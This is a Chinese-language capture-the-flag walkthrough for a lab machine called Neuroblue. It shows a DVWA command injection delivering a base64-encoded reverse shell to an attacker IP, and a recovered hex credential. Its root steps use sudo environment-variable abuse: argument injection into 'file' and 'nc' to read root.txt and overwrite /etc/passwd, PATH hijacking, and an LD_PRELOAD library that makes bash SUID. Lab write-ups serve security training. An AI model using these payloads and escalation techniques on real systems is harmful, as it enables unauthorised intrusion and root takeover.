Neuroblue

Nmap

```
❯ nmap 192.168.55.28 -sV -A -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-30 21:46 EDT
Nmap scan report for 192.168.55.28
Host is up (0.00028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Index of /
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2025-04-03 05:41  wordpress/
|_
```

DVWA

进入到80端口，发现是DVWA靶场，尝试输入默认凭证

```
username:admin
password:password
```

进入之后来到Command Injection之前，记得去DVWA Security将难度调成Low，这样才能执行命令
在输入框中用管道符绕过，进行反弹

```
127.0.0.1|printf
KGJhc2ggPiYgL2Rldi9OY3AvMTkyLjE2OC41NS40LzQ0NDQgMD4mMSkgJg==|base64 -d|bash
```

www-data用户可以直接进入到/home/welcome，读取user.txt

```
www-data@Neuroblue:/home/welcome$ cat user.txt
flag{user-aa85e179cb0acf7cc4da7d2afcd53488}
www-data@Neuroblue:/home/welcome$
```

Own welcome

查看到welcome目录下有一个2048_hack文件

```
www-data@Neuroblue:/home/welcome$ ls -al
total 60
drwxrwxrwx 3 welcome  welcome   4096 Apr 30 21:55 .
drwxr-xr-x 3 root     root      4096 Apr 11 22:27 ..
lrwxrwxrwx 1 root     root         9 Apr 30 07:10 .bash_history -> /dev/null
-rw-r--r-- 1 welcome  welcome    220 Apr 11 22:27 .bash_logout
-rw-r--r-- 1 welcome  welcome   3526 Apr 11 22:27 .bashrc
-rw-r--r-- 1 www-data www-data    52 Apr 30 20:50 .cred
drwx------ 2 welcome  welcome   4096 Apr 30 21:15 .john
-rw-r--r-- 1 welcome  welcome    807 Apr 11 22:27 .profile
-rw------- 1 welcome  welcome    733 Apr 30 21:41 .viminfo
-rwx--x--x 1 root     root     22208 Apr 30 08:09 2048_hack
-rw-r--r-- 1 root     root        44 Apr 30 07:10 user.txt
```

尝试查看帮助信息

```
www-data@Neuroblue:/home/welcome$ ./2048_hack -h
Usage: 2048 [OPTION] | [MODE]
Play the game 2048 in the console

Options:
  -h,  --help       Show this help message.
  -v,  --version    Press x.

Modes:
  bluered      Use a blue-to-red color scheme (requires 256-color terminal
support).
  blackwhite   The black-to-white color scheme (requires 256-color terminal
support).
www-data@Neuroblue:/home/welcome$
```

运行之后，尝试按`x`键，会发现保存了一个`cred`文件

```
2048.c                0 pts


   .      .      .      .


   2      .      .      .


   2      .      .      .


   .      .      .      .


cred has writed in.q
cred has writed in.
cred has writed in.
```

这时候再看目录下，可以读取到一个`cred`

```
www-data@Neuroblue:/home/welcome$  ls -al
total 60
drwxrwxrwx 3 welcome  welcome   4096 Apr 30 21:55 .
drwxr-xr-x 3 root     root      4096 Apr 11 22:27 ..
lrwxrwxrwx 1 root     root         9 Apr 30 07:10 .bash_history -> /dev/null
-rw-r--r-- 1 welcome  welcome    220 Apr 11 22:27 .bash_logout
```

```
-rw-r--r-- 1 welcome  welcome   3526 Apr 11 22:27 .bashrc
-rw-r--r-- 1 www-data www-data    52 Apr 30 21:58 .cred
drwx------ 2 welcome  welcome   4096 Apr 30 21:15 .john
-rw-r--r-- 1 welcome  welcome    807 Apr 11 22:27 .profile
-rw------- 1 welcome  welcome    733 Apr 30 21:41 .viminfo
-rwx--x--x 1 root     root     22208 Apr 30 08:09 2048_hack
-rw-r--r-- 1 root     root        44 Apr 30 07:10 user.txt
www-data@Neuroblue:/home/welcome$ cat .cred
77656c636f6d653a6664383639663636393330396137376364 64www-
data@Neuroblue:/home/welcome$
```

这是十六进制编码过的，可以使用 cyberchef 或者直接命令行处理

```
❯ echo -n '77656c636f6d653a6664383639663636393330396137376364 64' | xxd -r -p
welcome:fd869f669309a77cdd#
```

Root

查看 sudo -l

```
welcome@Neuroblue:~$ sudo -l
Matching Defaults entries for welcome on Neuroblue:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on Neuroblue:
    (ALL) NOPASSWD: /opt/export
welcome@Neuroblue:~$ cat /opt/export
#!/bin/bash

if [ -z $1 ] ;then
        echo "This is VMBreaker export program."
        /usr/local/sbin/VMBreaker
        exit 1
fi

export "$1"="$2"
export "$3"="$4"
export "$5"="$6"
export "$7"="$8"
/usr/local/sbin/VMBreaker
```

这里是项目的地址：https://github.com/kerszl/VMBreaker
查看一下帮助信息

```
welcome@Neuroblue:~$ /usr/local/sbin/VMBreaker -h
VMBreaker (by Kerszi/MindCrafters) version 0.38
This is a program for basic operations to break into a virtual machine.

Usage: /usr/local/sbin/VMBreaker [options]

Options:
  -c                show required programs
  -h, --help        show this help message
  -v                show variable exported values
  -vv               display detailed information about exported variable values
(verbose mode)

Example:
```

```
  /usr/local/sbin/VMBreaker -v             display the values of variables
welcome@Neuroblue:~$ /usr/local/sbin/VMBreaker -c
binwalk: not installed
dirsearch: not installed
`exiftool: installed`
feroxbuster: not installed
ffuf: not installed
`file: installed`
hashcat: not installed
haiti: not installed
hydra: not installed
john: installed
`nc: installed`
netdiscover: not installed
netexec: not installed
`nikto: installed`
`nmap: installed`
`sqlmap: installed`
stegoveritas: not installed
stegseek: not installed
wapiti: not installed
`whatweb: installed`
wpscan: not installed
zsteg: not installed
```

File Read

这里可以尝试使用 `file` 命令来进行文件读取，可以看到参数是被直接拼接到了 `file` 命令之后

```
welcome@Neuroblue:~$ sudo /opt/export IP 127.0.0.1 FILE /root/root.txt

running COMMAND: file /root/root.txt
/root/root.txt: ASCII text
```

因此可以引入恶意参数 `-f` 来进行报错带出文件内容

```
welcome@Neuroblue:~$ sudo /opt/export IP 127.0.0.1 FILE '-f /root/root.txt'
running COMMAND: file -f /root/root.txt
flag{root-3960a29b415a278c2d88bb0543c5f283}: cannot open `flag{root-
3960a29b415a278c2d88bb0543c5f283}' (No such file or directory)
```

Password Overwrite

接下来是获得 `shell` 的方式
查看一下 `nc` 的参数呢？如果你试过就知道，在参数中直接拼接命令是不可行的（即使是重定向符），会导致参数识别失败而终止。

> `nc` 命令在最下面的反弹 `shell` 那里

```
welcome@Neuroblue:~$ nc -h
Ncat 7.80 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]

Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
  -4                         Use IPv4 only
  -6                         Use IPv6 only
  -U, --unixsock             Use Unix domain sockets only
```

```
      --vsock                Use vsock sockets only
  -C, --crlf                 Use CRLF for EOL sequence
  -c, --sh-exec <command>    Executes the given command via /bin/sh
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
  -g hop1[,hop2,...]         Loose source routing hop points (8 max)
  -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
  -m, --max-conns <n>        Maximum <n> simultaneous connections
  -h, --help                 Display this help screen
  -d, --delay <time>         Wait between read/writes
  -o, --output <filename>    Dump session data to a file
  -x, --hex-dump <filename>  Dump session data as hex to a file
  -i, --idle-timeout <time>  Idle read/write timeout
```

> 在此过程中，只要是参数合法，都可以进行拼接

可以直接修改 `/etc/passwd` 为明文密码
先在本地生成一个密码

```
❯ perl -e 'print crypt("1","aa")'
aacFCuAIHhrCM

//新密码就是1
```

然后创建一个新文件进行修改 `root` 的 `password` 位置

```
root:aacFCuAIHhrCM:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
welcome:x:1000:1000:,,,:/home/welcome:/bin/bash
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
```

写入恶意参数

```
welcome@Neuroblue:~$ sudo /opt/export IP 127.0.0.1 LPORT '8888 -o /etc/passwd'
```

另一边再把新的 passwd 传过去

```
welcome@Neuroblue:~$ ls
2048_hack  pass  user.txt
welcome@Neuroblue:~$ busybox nc 127.0.0.1 8888 < pass
```

即可使用密码 1 登录到 root

> 其他的 nmap， sqlmap 同样有输出的文本，但是会有额外的无用文本。而 nc 命令是接到什么就会输出什么，非常方便。

Path Inject

注意到 /opt/expert 中存在的 export 语句，可以直接修改路径变量为当前路径优先，因此会优先执行当前目录下面的 nikto

```
welcome@Neuroblue:~$ echo 'bash' > nikto
welcome@Neuroblue:~$ chmod +x nikto
welcome@Neuroblue:~$ sudo /opt/export PATH .:$PATH IP 127.0.0.1
```

LD_PRELOAD

写入恶意共享库

```
welcome@Neuroblue:~$ nano root.c
welcome@Neuroblue:~$ cat root.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void spawn_root_shell() {
    setuid(0);
    setgid(0);
    system("chmod u+s /bin/bash");
}

welcome@Neuroblue:~$ gcc -fPIC -shared -o root_shell.so root.c
welcome@Neuroblue:~$ sudo /opt/export LD_PRELOAD ./root_shell.so IP 127.0.0.1
```

运行后重新 ssh 进入 welcome 即可

```
[root@kali] /home/kali
❯ ssh welcome@192.168.55.29
welcome@192.168.55.29's password:
Linux Neuroblue 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Apr 30 23:24:24 2025 from 192.168.55.4
-bash-5.0$ ls
2048_hack  nikto  root.c  root_shell.so  user.txt
-bash-5.0$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
```

```
-bash-5.0$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
flag{root-3960a29b415a278c2d88bb0543c5f283}
bash-5.0#
```

> 如果环境变量都能控制的话，那么提权就很容易了